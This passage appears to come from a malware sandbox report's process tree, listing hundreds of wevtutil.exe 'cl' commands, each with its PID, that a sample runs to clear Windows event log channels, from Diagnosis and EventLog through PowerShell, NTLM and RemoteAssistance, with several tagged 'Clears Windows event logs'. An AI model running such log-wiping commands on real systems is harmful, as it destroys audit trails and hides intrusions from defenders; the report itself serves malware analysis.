        wevtutil.exe cl "Microsoft-Windows-Diagnosis-ScriptedDiagnosticsProvider/Operational"
        7⤵
        
        PID:41064
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnosis-TaskManager/Debug"
        7⤵
        
        PID:41080
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnosis-WDC/Analytic"
        7⤵
        
        PID:41092
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnosis-WDI/Debug"
        7⤵
        
        PID:41104
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnostics-Networking/Debug"
        7⤵
        
        PID:41116
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnostics-Networking/Operational"
        7⤵
        
        PID:41128
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnostics-PerfTrack-Counters/Diagnostic"
        7⤵
        
        PID:41140
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnostics-PerfTrack/Diagnostic"
        7⤵
        
        PID:41152
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Diagnostic"
        7⤵
        
        PID:41164
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Diagnostic/Loopback"
        7⤵
        
        PID:41180
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Operational"
        7⤵
        
        PID:41192
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Direct3D10/Analytic"
        7⤵
        Clears Windows event logs
        
        PID:41200
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Direct3D10_1/Analytic"
        7⤵
        
        PID:41212
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Direct3D11/Analytic"
        7⤵
        
        PID:41224
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Direct3D11/Logging"
        7⤵
        
        PID:41236
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Direct3D11/PerfTiming"
        7⤵
        
        PID:41248
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DirectShow-KernelSupport/Performance"
        7⤵
        
        PID:41260
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DirectSound/Debug"
        7⤵
        
        PID:41272
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DirectWrite-FontCache/Tracing"
        7⤵
        
        PID:41284
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DirectWrite/Tracing"
        7⤵
        Clears Windows event logs
        
        PID:41304
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Disk/Operational"
        7⤵
        
        PID:41308
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DiskDiagnostic/Operational"
        7⤵
        
        PID:41320
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DiskDiagnosticDataCollector/Operational"
        7⤵
        
        PID:41332
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DiskDiagnosticResolver/Operational"
        7⤵
        
        PID:41344
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DisplayColorCalibration/Debug"
        7⤵
        
        PID:41356
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DisplayColorCalibration/Operational"
        7⤵
        
        PID:41364
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DisplaySwitch/Diagnostic"
        7⤵
        
        PID:41372
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Documents/Performance"
        7⤵
        
        PID:41396
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DriverFrameworks-UserMode/Operational"
        7⤵
        
        PID:41404
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DxgKrnl/Diagnostic"
        7⤵
        
        PID:41412
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DxgKrnl/Performance"
        7⤵
        
        PID:41432
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DxpTaskRingtone/Analytic"
        7⤵
        
        PID:41440
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DxpTaskSyncProvider/Analytic"
        7⤵
        
        PID:41452
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-EFS/Debug"
        7⤵
        Clears Windows event logs
        
        PID:41464
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-EapHost/Analytic"
        7⤵
        
        PID:41476
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-EapHost/Debug"
        7⤵
        
        PID:41488
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-EapHost/Operational"
        7⤵
        
        PID:41504
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-EaseOfAccess/Diagnostic"
        7⤵
        Clears Windows event logs
        
        PID:41516
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-EventCollector/Debug"
        7⤵
        
        PID:41520
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-EventCollector/Operational"
        7⤵
        Clears Windows event logs
        
        PID:41536
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-EventLog-WMIProvider/Debug"
        7⤵
        
        PID:41544
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-EventLog/Analytic"
        7⤵
        
        PID:41556
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-EventLog/Debug"
        7⤵
        
        PID:41568
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-FMS/Analytic"
        7⤵
        
        PID:41584
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-FMS/Debug"
        7⤵
        
        PID:41592
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-FMS/Operational"
        7⤵
        
        PID:41612
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-FailoverClustering-Client/Diagnostic"
        7⤵
        
        PID:41624
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Fault-Tolerant-Heap/Operational"
        7⤵
        
        PID:41636
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Feedback-Service-TriggerProvider"
        7⤵
        
        PID:41648
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-FileInfoMinifilter/Operational"
        7⤵
        
        PID:41660
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Firewall-CPL/Diagnostic"
        7⤵
        
        PID:41672
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Folder Redirection/Operational"
        7⤵
        
        PID:41684
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Forwarding/Debug"
        7⤵
        
        PID:41696
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Forwarding/Operational"
        7⤵
        
        PID:41700
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-GettingStarted/Diagnostic"
        7⤵
        
        PID:41720
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-GroupPolicy/Operational"
        7⤵
        Clears Windows event logs
        
        PID:41732
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-HAL/Debug"
        7⤵
        
        PID:41744
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-HealthCenter/Debug"
        7⤵
        
        PID:41760
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-HealthCenter/Performance"
        7⤵
        
        PID:41776
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-HealthCenterCPL/Performance"
        7⤵
        
        PID:41784
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Help/Operational"
        7⤵
        
        PID:41796
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-HomeGroup Control Panel Performance/Diagnostic"
        7⤵
        
        PID:41808
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-HomeGroup Control Panel/Operational"
        7⤵
        
        PID:41864
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-HomeGroup Listener Service/Operational"
        7⤵
        
        PID:41824
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-HomeGroup Provider Service Performance/Diagnostic"
        7⤵
        Clears Windows event logs
        
        PID:41832
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-HomeGroup Provider Service/Operational"
        7⤵
        Clears Windows event logs
        
        PID:41856
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-HomeGroup-ListenerService"
        7⤵
        
        PID:41868
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-HotStart/Diagnostic"
        7⤵
        
        PID:41880
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-HttpService/Trace"
        7⤵
        
        PID:41892
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-IKE/Operational"
        7⤵
        
        PID:41904
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-IKEDBG/Debug"
        7⤵
        
        PID:41916
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-IPBusEnum/Tracing"
        7⤵
        
        PID:41928
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-IPSEC-SRV/Diagnostic"
        7⤵
        
        PID:41940
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-International-RegionalOptionsControlPanel/Operational"
        7⤵
        
        PID:41956
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-International/Operational"
        7⤵
        
        PID:41964
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Iphlpsvc/Debug"
        7⤵
        
        PID:41976
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Iphlpsvc/Operational"
        7⤵
        
        PID:41992
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Iphlpsvc/Trace"
        7⤵
        
        PID:42008
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Kernel-Acpi/Diagnostic"
        7⤵
        
        PID:42020
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Kernel-Boot/Analytic"
        7⤵
        
        PID:42260
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Kernel-BootDiagnostics/Diagnostic"
        7⤵
        
        PID:42424
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Kernel-Disk/Analytic"
        7⤵
        
        PID:42516
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Kernel-EventTracing/Admin"
        7⤵
        
        PID:43424
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Kernel-EventTracing/Analytic"
        7⤵
        
        PID:43592
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Kernel-File/Analytic"
        7⤵
        
        PID:44048
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Kernel-Memory/Analytic"
        7⤵
        
        PID:44064
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Kernel-Network/Analytic"
        7⤵
        
        PID:44092
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Kernel-PnP/Diagnostic"
        7⤵
        
        PID:44100
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Kernel-Power/Diagnostic"
        7⤵
        Clears Windows event logs
        
        PID:44080
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Kernel-Power/Thermal-Diagnostic"
        7⤵
        
        PID:44068
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Kernel-Power/Thermal-Operational"
        7⤵
        Clears Windows event logs
        
        PID:44116
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Kernel-Prefetch/Diagnostic"
        7⤵
        
        PID:44132
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Kernel-Process/Analytic"
        7⤵
        
        PID:44096
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Kernel-Processor-Power/Diagnostic"
        7⤵
        
        PID:44120
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Kernel-Registry/Analytic"
        7⤵
        
        PID:44104
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Kernel-StoreMgr/Analytic"
        7⤵
        
        PID:44224
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Kernel-StoreMgr/Operational"
        7⤵
        
        PID:44192
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Kernel-WDI/Analytic"
        7⤵
        
        PID:44176
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Kernel-WDI/Debug"
        7⤵
        
        PID:44188
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Kernel-WDI/Operational"
        7⤵
        
        PID:44236
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Kernel-WHEA/Errors"
        7⤵
        
        PID:44268
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Kernel-WHEA/Operational"
        7⤵
        
        PID:44264
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Known Folders API Service"
        7⤵
        
        PID:44256
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-L2NA/Diagnostic"
        7⤵
        
        PID:44240
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-LDAP-Client/Debug"
        7⤵
        
        PID:44292
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-LUA-ConsentUI/Diagnostic"
        7⤵
        
        PID:44300
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-LanguagePackSetup/Analytic"
        7⤵
        
        PID:44316
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-LanguagePackSetup/Debug"
        7⤵
        
        PID:44328
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-LanguagePackSetup/Operational"
        7⤵
        
        PID:44340
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-MCT/Operational"
        7⤵
        
        PID:44352
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-MPS-CLNT/Diagnostic"
        7⤵
        
        PID:44364
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-MPS-DRV/Diagnostic"
        7⤵
        
        PID:44376
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-MPS-SRV/Diagnostic"
        7⤵
        
        PID:44388
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-MSPaint/Admin"
        7⤵
        
        PID:44396
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-MSPaint/Debug"
        7⤵
        
        PID:44416
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-MSPaint/Diagnostic"
        7⤵
        
        PID:44424
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-MUI/Admin"
        7⤵
        
        PID:44440
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-MUI/Analytic"
        7⤵
        
        PID:44448
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-MUI/Debug"
        7⤵
        
        PID:44468
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-MUI/Operational"
        7⤵
        Clears Windows event logs
        
        PID:44472
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-MediaFoundation-MFReadWrite/SinkWriter"
        7⤵
        
        PID:44484
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-MediaFoundation-MFReadWrite/SourceReader"
        7⤵
        
        PID:44496
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-MediaFoundation-MFReadWrite/Transform"
        7⤵
        
        PID:44500
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-MediaFoundation-PlayAPI/Analytic"
        7⤵
        
        PID:44520
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-MemoryDiagnostics-Results/Debug"
        7⤵
        
        PID:44532
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-MobilityCenter/Performance"
        7⤵
        
        PID:44544
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-NCSI/Analytic"
        7⤵
        
        PID:44552
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-NCSI/Operational"
        7⤵
        
        PID:44568
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-NDF-HelperClassDiscovery/Debug"
        7⤵
        
        PID:44580
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-NDIS-PacketCapture/Diagnostic"
        7⤵
        Clears Windows event logs
        
        PID:44592
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-NDIS/Diagnostic"
        7⤵
        
        PID:44604
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-NDIS/Operational"
        7⤵
        
        PID:44616
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-NTLM/Operational"
        7⤵
        Clears Windows event logs
        
        PID:44640
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-NWiFi/Diagnostic"
        7⤵
        
        PID:44644
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Narrator/Diagnostic"
        7⤵
        Clears Windows event logs
        
        PID:44656
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-NetShell/Performance"
        7⤵
        
        PID:44668
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Network-and-Sharing-Center/Diagnostic"
        7⤵
        
        PID:44676
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-NetworkAccessProtection/Operational"
        7⤵
        
        PID:44692
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-NetworkAccessProtection/WHC"
        7⤵
        
        PID:44712
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-NetworkLocationWizard/Operational"
        7⤵
        
        PID:44724
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-NetworkProfile/Diagnostic"
        7⤵
        
        PID:44720
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-NetworkProfile/Operational"
        7⤵
        
        PID:44740
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Networking-Correlation/Diagnostic"
        7⤵
        
        PID:44752
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-NlaSvc/Diagnostic"
        7⤵
        
        PID:44768
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-NlaSvc/Operational"
        7⤵
        
        PID:44780
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-OLEACC/Debug"
        7⤵
        
        PID:44788
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-OLEACC/Diagnostic"
        7⤵
        
        PID:44800
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-OOBE-Machine/Diagnostic"
        7⤵
        
        PID:44812
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-OfflineFiles/Analytic"
        7⤵
        
        PID:44824
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-OfflineFiles/Debug"
        7⤵
        
        PID:44836
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-OfflineFiles/Operational"
        7⤵
        
        PID:44852
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-OfflineFiles/SyncLog"
        7⤵
        
        PID:44868
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-OneX/Diagnostic"
        7⤵
        
        PID:44872
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-OobeLdr/Analytic"
        7⤵
        
        PID:44880
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-PCI/Diagnostic"
        7⤵
        
        PID:44896
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-ParentalControls/Operational"
        7⤵
        
        PID:44908
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-PeerToPeerDrtEventProvider/Diagnostic"
        7⤵
        
        PID:44924
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-PeopleNearMe/Operational"
        7⤵
        
        PID:44932
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-PortableDeviceStatusProvider/Analytic"
        7⤵
        Clears Windows event logs
        
        PID:44952
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-PortableDeviceSyncProvider/Analytic"
        7⤵
        
        PID:44956
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-PowerCfg/Diagnostic"
        7⤵
        Power Settings
        
        PID:44972
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-PowerCpl/Diagnostic"
        7⤵
        
        PID:44980
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-PowerEfficiencyDiagnostics/Diagnostic"
        7⤵
        
        PID:45000
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-PowerShell/Analytic"
        7⤵
        
        PID:45004
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-PowerShell/Operational"
        7⤵
        
        PID:45016
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-PrimaryNetworkIcon/Performance"
        7⤵
        
        PID:45032
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-PrintService/Admin"
        7⤵
        
        PID:45044
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-PrintService/Debug"
        7⤵
        
        PID:45028
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-PrintService/Operational"
        7⤵
        
        PID:45064
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Program-Compatibility-Assistant/Debug"
        7⤵
        
        PID:45084
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-QoS-Pacer/Diagnostic"
        7⤵
        
        PID:45096
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-QoS-qWAVE/Debug"
        7⤵
        
        PID:45108
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-RPC-Proxy/Debug"
        7⤵
        
        PID:45120
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-RPC/Debug"
        7⤵
        
        PID:45132
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-RPC/EEInfo"
        7⤵
        
        PID:45144
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-ReadyBoost/Analytic"
        7⤵
        
        PID:45156
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-ReadyBoost/Operational"
        7⤵
        
        PID:3000
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-ReadyBoostDriver/Analytic"
        7⤵
        
        PID:45172
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-ReadyBoostDriver/Operational"
        7⤵
        
        PID:45184
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Recovery/Operational"
        7⤵
        
        PID:920
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-ReliabilityAnalysisComponent/Operational"
        7⤵
        
        PID:45200
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-RemoteApp and Desktop Connections/Admin"
        7⤵
        
        PID:45208
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Admin"
        7⤵
        
        PID:45224
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Operational"
        7⤵
        
        PID:45236
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Tracing"
        7⤵
        
        PID:45248
        
        C:\Windows\SysWOW64\wevtutil.exe
        
